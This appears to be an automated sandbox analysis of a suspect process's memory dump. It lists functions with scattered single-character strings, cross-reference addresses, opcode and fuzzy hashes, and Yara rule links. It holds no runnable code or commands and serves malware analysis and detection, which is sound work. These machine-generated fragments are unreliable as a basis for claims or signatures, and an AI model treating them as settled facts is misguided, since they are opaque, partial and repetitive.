@@@@, xrefs: 504895FC
-./0, xrefs: 50489591
@@@@, xrefs: 50489688
@@@@, xrefs: 5048963B
@@@@, xrefs: 504895E0
@@@@, xrefs: 504895B6
@@@@, xrefs: 504895E7
@@@@, xrefs: 50489673
@@@@, xrefs: 50489665
@@@@, xrefs: 50489634
@@@@, xrefs: 50489649
123@, xrefs: 5048959B
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 5048965E
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
%&'(, xrefs: 5048957D
!"#$, xrefs: 50489573
@@@@, xrefs: 5048966C
@@@@, xrefs: 50489681
@@@@, xrefs: 5048961F
@@@@, xrefs: 504895D2
@@@@, xrefs: 50489650
)*+,, xrefs: 50489587
@@@@, xrefs: 504895CB
@@@@, xrefs: 504895D9
@@@@, xrefs: 50489555
@@@@, xrefs: 504895F5

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction ID: f00e4ca283c8cea904b83a708a1a97caef2382556f971071ab617cb014f57229
Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction Fuzzy Hash: A0911EF08042A88ACB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 504851E0, Relevance: 42.7, Strings: 34, Instructions: 232COMMON

Download Yara Rule

Strings

t, xrefs: 50485266
e, xrefs: 5048527B
k, xrefs: 5048524A
\, xrefs: 5048523C
o, xrefs: 504852C9
i, xrefs: 5048522E
e, xrefs: 50485235
e, xrefs: 504852B8
s, xrefs: 504852E5
s, xrefs: 504852C2
\, xrefs: 504852D0
w, xrefs: 50485308
k, xrefs: 50485274
., xrefs: 50485220
k:HP, xrefs: 504851EA, 504851ED, 5048532A, 50485349, 5048536B, 5048539F, 504853BE, 504853E0, 50485414, 50485433, 50485453, 50485495, 504854BB, 50485533, 50485539
r, xrefs: 5048529A
i, xrefs: 504852FA
n, xrefs: 504852A4
q, xrefs: 50485227
\, xrefs: 5048520E
\, xrefs: 50485258
o, xrefs: 50485243
\, xrefs: 50485286
, xrefs: 504852AE
o, xrefs: 5048526D
u, xrefs: 50485290
o, xrefs: 50485215
e, xrefs: 50485251
d, xrefs: 50485301
f, xrefs: 504852EC
i, xrefs: 504852D7
r, xrefs: 504852DE
N, xrefs: 5048525F
\, xrefs: 504852F3

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$k:HP$n$o$o$o$o$q$r$r$s$s$t$u$w
API String ID: 0-2954518199
Opcode ID: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction ID: 3ea125b32b24d6810bd676b4dc810a02382b2b54f83c2fcb86f6d865727acb5b
Opcode Fuzzy Hash: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction Fuzzy Hash: 87916EB1911218AADB10DFD4CC45FEFBB79AF55704F00466DA2086B140EBB95A88CBF9

Uniqueness

Uniqueness Score: -1.00%

Function 50483D70, Relevance: 34.1, Strings: 27, Instructions: 368COMMON

Download Yara Rule

Strings

a, xrefs: 50483F64
e, xrefs: 50483FB5
t, xrefs: 50483F5A
e, xrefs: 50483F6E
u, xrefs: 50483F50
i, xrefs: 504841D6
XLNG:, xrefs: 50483E8A, 50483E8D
C, xrefs: 50483F99
o, xrefs: 504841B8
x64, xrefs: 504840E9, 504840EC
m, xrefs: 504841CC
P, xrefs: 50483F3C
t, xrefs: 50483FAE
1, xrefs: 50483E13
o, xrefs: 50483FC3
o, xrefs: 50483F46
r, xrefs: 50483FA0
x86, xrefs: 504840EF, 504840F2
:, xrefs: 50483E00
s, xrefs: 50483FBC
r, xrefs: 504841C2
e, xrefs: 504841E0
e, xrefs: 50483FA7
T, xrefs: 50483F92
2.5, xrefs: 50483ECB, 50483ECE
P, xrefs: 504841AE
, xrefs: 50483F8B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ x64$ x86$1$2.5$:$C$P$P$T$XLNG:$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
API String ID: 0-1309863547
Opcode ID: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction ID: eea8c313e6d706c99a925ddac0c602bcc1da9627ce72497a2ab1b23fcf9404b8
Opcode Fuzzy Hash: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction Fuzzy Hash: 3CE186B1901309AEDB14CFA4CC46FEEB7B8AF54308F00466EF50DA6141EBB56A54CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 50484C20, Relevance: 31.4, Strings: 25, Instructions: 194COMMON

Download Yara Rule

Strings

, xrefs: 50484CE0
m, xrefs: 50484D11
y, xrefs: 50484D03
e, xrefs: 50484D7E
EQHP, xrefs: 50484CD4, 50484CE7, 50484CD7
n, xrefs: 50484CEE
2, xrefs: 50484D18
", xrefs: 50484CD9
l, xrefs: 50484D60
4, xrefs: 50484D3B
W, xrefs: 50484D34
\, xrefs: 50484CFC
\, xrefs: 50484D1F
u, xrefs: 50484D4C
d, xrefs: 50484D56
", xrefs: 50484E45
i, xrefs: 50484CF5
t, xrefs: 50484D0A
2, xrefs: 50484D6A
e, xrefs: 50484D74
y, xrefs: 50484D26
", xrefs: 50484E3B
\, xrefs: 50484D42
W, xrefs: 50484D2D
D, xrefs: 50484F01

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $"$"$"$2$2$4$D$EQHP$W$W$\$\$\$d$e$e$i$l$m$n$t$u$y$y
API String ID: 0-2404262091
Opcode ID: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction ID: da28db47672f255a1f057f896851c529203b53ff73540a75ef2fec2762f817cf
Opcode Fuzzy Hash: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction Fuzzy Hash: C68120B5D10318AEDB54CFA4CC45BDEBBB9AF54304F00469EA60DB7141EBB45A88CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 50491A40, Relevance: 25.2, Strings: 20, Instructions: 231COMMON

Download Yara Rule

Strings

t, xrefs: 50491AD0
r, xrefs: 50491ADA
l, xrefs: 50491B19
r, xrefs: 50491B43
, xrefs: 50491AE8
o, xrefs: 50491B27
m, xrefs: 50491B2E
2, xrefs: 50491B51
g, xrefs: 50491B4A
e, xrefs: 50491AE1
I, xrefs: 50491B0B
l, xrefs: 50491AF6
I, xrefs: 50491AC6
r, xrefs: 50491AFD
i, xrefs: 50491B20
\, xrefs: 50491B35
r, xrefs: 50491B04
x, xrefs: 50491AEF
t, xrefs: 50491B12
t, xrefs: 50491B3C

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction ID: 7a0b765a92b98b24597997d2bc0aeb96ef180319125e33ddab57c7511decabe0
Opcode Fuzzy Hash: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction Fuzzy Hash: AA8192B1901218AAEB10CF94DC45FEE7BBDEF54308F0046ADE90CA6150EB795A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 50491D80, Relevance: 25.1, Strings: 20, Instructions: 64COMMON

Download Yara Rule

Strings

r, xrefs: 50491DB2
e, xrefs: 50491DE3
p, xrefs: 50491DAB
l, xrefs: 50491DFF
a, xrefs: 50491DCE
a, xrefs: 50491DEA
e, xrefs: 50491DD5
o, xrefs: 50491DC0
a, xrefs: 50491E22
i, xrefs: 50491E14
t, xrefs: 50491DC7
O, xrefs: 50491DDC
\, xrefs: 50491DA4
S, xrefs: 50491DF1
o, xrefs: 50491E0D
a, xrefs: 50491DF8
a, xrefs: 50491E29
, xrefs: 50491DB9
, xrefs: 50491E1B
\, xrefs: 50491E06

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
API String ID: 0-815130641
Opcode ID: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction ID: 7dc4ef7f07c4bbb55b6576d0200d15b68e3f2225cc02d47e81d643bfde2ceccb
Opcode Fuzzy Hash: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction Fuzzy Hash: C1213171D013189AEB109FC5A8497EDBFBAAB40718F14421DE5042B282D7FA55888BA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBB0, Relevance: 24.1, Strings: 19, Instructions: 306COMMON

Download Yara Rule

Strings

i, xrefs: 5048FD08
E, xrefs: 5048FC65
e, xrefs: 5048FD0F
R, xrefs: 5048FD71
G, xrefs: 5048FCB2
\, xrefs: 5048FCE5
r, xrefs: 5048FD86
g, xrefs: 5048FCF3
C, xrefs: 5048FC1B
F, xrefs: 5048FC8D
v, xrefs: 5048FD7F
c, xrefs: 5048FD78
, xrefs: 5048FD01
D, xrefs: 5048FC40
x, xrefs: 5048FD6A
), xrefs: 5048FEAD
F, xrefs: 5048FD63
r, xrefs: 5048FCEC
a, xrefs: 5048FCFA

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction ID: 6b20395bcbde74baede93883350e49595ba6217c5913237545285a644fb87c24
Opcode Fuzzy Hash: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction Fuzzy Hash: A6C182B1D11218AAEB25CFD4CC42FEE77B8AF58704F0045AEF50DA6181EBB45B448FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048E9B0, Relevance: 24.0, Strings: 19, Instructions: 254COMMON

Download Yara Rule

Strings

s, xrefs: 5048EA28
I, xrefs: 5048EA53
\, xrefs: 5048E9E1
o, xrefs: 5048EA99
c, xrefs: 5048EA8F
y, xrefs: 5048EAA3
a, xrefs: 5048EA67
r, xrefs: 5048EA00
e, xrefs: 5048EA1E
e, xrefs: 5048EA0A
o, xrefs: 5048EA32
t, xrefs: 5048EA14
n, xrefs: 5048E9EF
D, xrefs: 5048EA7B
l, xrefs: 5048EA71
r, xrefs: 5048EA85
C, xrefs: 5048E9F6
s, xrefs: 5048EA5D
a, xrefs: 5048E9E8

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
API String ID: 0-2101568155
Opcode ID: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction ID: 37074cfd21844cf96305c3babea2e1d658f8d7b13feeda9d886c0a0635ae0c11
Opcode Fuzzy Hash: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction Fuzzy Hash: 5991B6B1D01208ABEB10CF95CC85FEE77B9EF45704F0046ADF9089A241E7B99A55CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBA5, Relevance: 24.0, Strings: 19, Instructions: 217COMMON

Download Yara Rule

Strings

i, xrefs: 5048FD08
E, xrefs: 5048FC65
e, xrefs: 5048FD0F
R, xrefs: 5048FD71
G, xrefs: 5048FCB2
\, xrefs: 5048FCE5
r, xrefs: 5048FD86
g, xrefs: 5048FCF3
C, xrefs: 5048FC1B
F, xrefs: 5048FC8D
v, xrefs: 5048FD7F
c, xrefs: 5048FD78
, xrefs: 5048FD01
D, xrefs: 5048FC40
x, xrefs: 5048FD6A
), xrefs: 5048FEAD
F, xrefs: 5048FD63
r, xrefs: 5048FCEC
a, xrefs: 5048FCFA

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction ID: 5e671c824bdaa13d4c81506cfc8fd39a66f9a3368efb536084e5c767cb5a2b04
Opcode Fuzzy Hash: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction Fuzzy Hash: 2F8150B1D11318AAEB24CFE0CC46FEEB7B8EF18704F00469EE50DA6181E7B55A448F95

Uniqueness

Uniqueness Score: -1.00%

Function 504926B0, Relevance: 23.9, Strings: 19, Instructions: 146COMMON

Download Yara Rule

Strings

r, xrefs: 504926CD
., xrefs: 504926D4
v, xrefs: 504927BD
l, xrefs: 50492756
_, xrefs: 50492700
o, xrefs: 504927A1
O, xrefs: 50492793
t, xrefs: 5049279A
k, xrefs: 504927A8
R, xrefs: 504927AF
n, xrefs: 504926DB
t, xrefs: 5049271E
c, xrefs: 504927B6
I, xrefs: 50492742
x, xrefs: 5049274C
r, xrefs: 504927C4
u, xrefs: 50492714
r, xrefs: 50492760
V, xrefs: 5049270A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction ID: 1493250bcf8c0d2edc5606ddd9b298934e595746e9e5436fea4f609465332e72
Opcode Fuzzy Hash: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction Fuzzy Hash: 6A510DB1D0021CAFDB10DFA4CC45BEEBBB5FF45304F00466EE508AB241E7B95A598BA1

Uniqueness

Uniqueness Score: -1.00%

Function 504926A9, Relevance: 23.9, Strings: 19, Instructions: 126COMMON

Download Yara Rule

Strings

r, xrefs: 504926CD
., xrefs: 504926D4
v, xrefs: 504927BD
l, xrefs: 50492756
_, xrefs: 50492700
o, xrefs: 504927A1
O, xrefs: 50492793
t, xrefs: 5049279A
k, xrefs: 504927A8
R, xrefs: 504927AF
n, xrefs: 504926DB
t, xrefs: 5049271E
c, xrefs: 504927B6
I, xrefs: 50492742
x, xrefs: 5049274C
r, xrefs: 504927C4
u, xrefs: 50492714
r, xrefs: 50492760
V, xrefs: 5049270A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction ID: 9f6b85e8912d59d0e6bb86159535db5b71e8473f5607e91e002f10270b32072a
Opcode Fuzzy Hash: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction Fuzzy Hash: 865111B1D0021C9FDB10DFA4C845BEEBBB5BF45304F00466EE508AB241E7B95A598FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048BE70, Relevance: 21.5, Strings: 17, Instructions: 219COMMON

Download Yara Rule

Strings

[, xrefs: 5048BFDF
], xrefs: 5048BFC6
e, xrefs: 5048C01B
a, xrefs: 5048BFBF
], xrefs: 5048C022
[, xrefs: 5048BF91
l, xrefs: 5048BF98
e, xrefs: 5048BFED
], xrefs: 5048BFF4
[, xrefs: 5048C00D
[, xrefs: 5048BF6A
[, xrefs: 5048BFB8
-, xrefs: 5048C014
s, xrefs: 5048BF71
n, xrefs: 5048BFE6
], xrefs: 5048BF78
], xrefs: 5048BF9F

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: -$[$[$[$[$[$]$]$]$]$]$a$e$e$l$n$s
API String ID: 0-2169243036
Opcode ID: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction ID: a0ffc1b7b06ce26bfdfbd6eb651699185a7fc822dd1d6b67ecf6fa74dc8a8cfa
Opcode Fuzzy Hash: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction Fuzzy Hash: DF7167B0901704BAEB209FE4CC46FEFBABD9F55B09F004A1EF61566180D7B879448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAF0, Relevance: 16.4, Strings: 13, Instructions: 173COMMON

Download Yara Rule

Strings

i, xrefs: 5048DB51
m, xrefs: 5048DB94
, xrefs: 5048DB4A
s, xrefs: 5048DBA9
l, xrefs: 5048DBA2
r, xrefs: 5048DB8D
P, xrefs: 5048DB7F
o, xrefs: 5048DB5F
o, xrefs: 5048DB86
., xrefs: 5048DB21
x, xrefs: 5048DB2B
e, xrefs: 5048DB58
F, xrefs: 5048DB9B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction ID: d0102f1a50cc7f69be51a74db763dde8ee20676e880c5f9f87e9af1d131e87ed
Opcode Fuzzy Hash: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction Fuzzy Hash: 066150B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAEB, Relevance: 16.4, Strings: 13, Instructions: 158COMMON

Download Yara Rule

Strings

i, xrefs: 5048DB51
m, xrefs: 5048DB94
, xrefs: 5048DB4A
s, xrefs: 5048DBA9
l, xrefs: 5048DBA2
r, xrefs: 5048DB8D
P, xrefs: 5048DB7F
o, xrefs: 5048DB5F
o, xrefs: 5048DB86
., xrefs: 5048DB21
x, xrefs: 5048DB2B
e, xrefs: 5048DB58
F, xrefs: 5048DB9B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction ID: 988956820cf41936d8c40e0e2fbea763765fa0aeb9eb174fa0df50aa93b992b7
Opcode Fuzzy Hash: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction Fuzzy Hash: 125140B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A44CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECF0, Relevance: 15.1, Strings: 12, Instructions: 121COMMON

Download Yara Rule

Strings

F, xrefs: 5048ED25
r, xrefs: 5048ED2C
d, xrefs: 5048ED68
f, xrefs: 5048ED33
u, xrefs: 5048ED4C
x, xrefs: 5048ED3A
T, xrefs: 5048ED08
r, xrefs: 5048ED5A
P, xrefs: 5048ED01
d, xrefs: 5048ED53
T, xrefs: 5048ED45
i, xrefs: 5048ED61

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction ID: 079c3b200d4e55d12795224a1a5a9d1f78638cd4b2303c39240d9d1253dd90bc
Opcode Fuzzy Hash: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction Fuzzy Hash: B34173B1C01318AADB20DFD29C45BFFBAB8EF55718F008A1DF9096A141E7B91549CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484700, Relevance: 15.1, Strings: 12, Instructions: 82COMMON

Download Yara Rule

Strings

w, xrefs: 5048478D
\, xrefs: 5048472D
r, xrefs: 50484749
e, xrefs: 50484750
n, xrefs: 50484794
e, xrefs: 50484757
x, xrefs: 50484734
r, xrefs: 50484742
k:HP, xrefs: 50484709
l, xrefs: 5048473B
D, xrefs: 50484786
i, xrefs: 5048479B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction ID: 72c1a8abeb05b613afc8168353b46599bf6c49296e9fa8243937cce4441ae149
Opcode Fuzzy Hash: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction Fuzzy Hash: 112173B1D11218AADF50DFD4CC45BEEBBB9BF08704F00465DF60876180DBB556488BE4

Uniqueness

Uniqueness Score: -1.00%

Function 504846FB, Relevance: 15.1, Strings: 12, Instructions: 81COMMON

Download Yara Rule

Strings

w, xrefs: 5048478D
\, xrefs: 5048472D
r, xrefs: 50484749
e, xrefs: 50484750
n, xrefs: 50484794
e, xrefs: 50484757
x, xrefs: 50484734
r, xrefs: 50484742
k:HP, xrefs: 50484709
l, xrefs: 5048473B
D, xrefs: 50484786
i, xrefs: 5048479B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
Instruction ID: 7d8cbb94693bfe53589df71040cd25f41c44a33bedba210af413cd75ea20abed
Opcode Fuzzy Hash: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
Instruction Fuzzy Hash: C52187B1D11218AAEF50CFE4CC45BEEBBB5BF48704F10465DF614BA180DBB55648CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECED, Relevance: 15.0, Strings: 12, Instructions: 41COMMON

Download Yara Rule

Strings

F, xrefs: 5048ED25
r, xrefs: 5048ED2C
d, xrefs: 5048ED68
f, xrefs: 5048ED33
u, xrefs: 5048ED4C
x, xrefs: 5048ED3A
T, xrefs: 5048ED08
r, xrefs: 5048ED5A
P, xrefs: 5048ED01
d, xrefs: 5048ED53
T, xrefs: 5048ED45
i, xrefs: 5048ED61

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction ID: 162b32e6778d1e6a4890544d3e67eb3c550df39026ef433844436fb3078aca3b
Opcode Fuzzy Hash: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction Fuzzy Hash: B2015BB1D00218AAAF10CFE598096DEBEB6BF45758F10825DD9187F250D3BA4A488BA4

Uniqueness

Uniqueness Score: -1.00%

Function 50485EA0, Relevance: 13.9, Strings: 11, Instructions: 124COMMON

Download Yara Rule

Strings

e, xrefs: 50485F45
i, xrefs: 50485FA7
e, xrefs: 50485F4C
D, xrefs: 50485F8F
r, xrefs: 50485F3E
n, xrefs: 50485FA0
x, xrefs: 50485F29
l, xrefs: 50485F30
w, xrefs: 50485F99
r, xrefs: 50485F37
\, xrefs: 50485F22

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction ID: 73d85a24ef212e3d8c0a7137a228cda7923fab466f44447c0b094d104ba0dbb9
Opcode Fuzzy Hash: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction Fuzzy Hash: 22410CB2D0121CAFDB10DFD5DC84AEEBBBDFB49308F40456EE619A6200D7755A448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 50485E94, Relevance: 13.9, Strings: 11, Instructions: 120COMMON

Download Yara Rule

Strings

e, xrefs: 50485F45
i, xrefs: 50485FA7
e, xrefs: 50485F4C
D, xrefs: 50485F8F
r, xrefs: 50485F3E
n, xrefs: 50485FA0
x, xrefs: 50485F29
l, xrefs: 50485F30
w, xrefs: 50485F99
r, xrefs: 50485F37
\, xrefs: 50485F22

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction ID: 63e9239523f671af7644d8bc35f3f9644e4302d8685d44d8dc1f6c8fa777b3fe
Opcode Fuzzy Hash: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction Fuzzy Hash: 3A412BB2D00218AFDB10DFD5CC85EEEBBB9FF59308F40856DE619A6200D7755A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F90, Relevance: 12.8, Strings: 10, Instructions: 342COMMON

Download Yara Rule

Strings

m, xrefs: 50492032
A, xrefs: 50491FFD
:, xrefs: 50492039
I, xrefs: 50491FEB
:, xrefs: 50492020
N, xrefs: 5049202B
s, xrefs: 50492019
:, xrefs: 50491FF2
P, xrefs: 50492012
t, xrefs: 50492004

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction ID: f65ee46ca3e3ffa98ade230c3116cec141751a58830270040e2da14005bc0681
Opcode Fuzzy Hash: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction Fuzzy Hash: 3AD10DB1A11318ABDB10CFE4CC81FEEB7B9AF59304F04492DE509D7540EB78A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048B010, Relevance: 12.7, Strings: 10, Instructions: 225COMMON

Download Yara Rule

Strings

", xrefs: 5048B064
i, xrefs: 5048B161
m, xrefs: 5048B157
o, xrefs: 5048B143
", xrefs: 5048B06B
r, xrefs: 5048B14D
P, xrefs: 5048B139
/, xrefs: 5048B072
e, xrefs: 5048B16B
", xrefs: 5048B05D

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "$"$"$/$P$e$i$m$o$r
API String ID: 0-163326737
Opcode ID: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction ID: 6cfc4a6a5d6aa25fbad8c02d734b4a0151653d736d939caeb4e566d915089116
Opcode Fuzzy Hash: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction Fuzzy Hash: AD81C6B285121C76DB21DBE4DC42FEF377C9F54308F008AAEB90966181E6795B648FE1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F88, Relevance: 12.7, Strings: 10, Instructions: 211COMMON

Download Yara Rule

Strings

m, xrefs: 50492032
A, xrefs: 50491FFD
:, xrefs: 50492039
I, xrefs: 50491FEB
:, xrefs: 50492020
N, xrefs: 5049202B
s, xrefs: 50492019
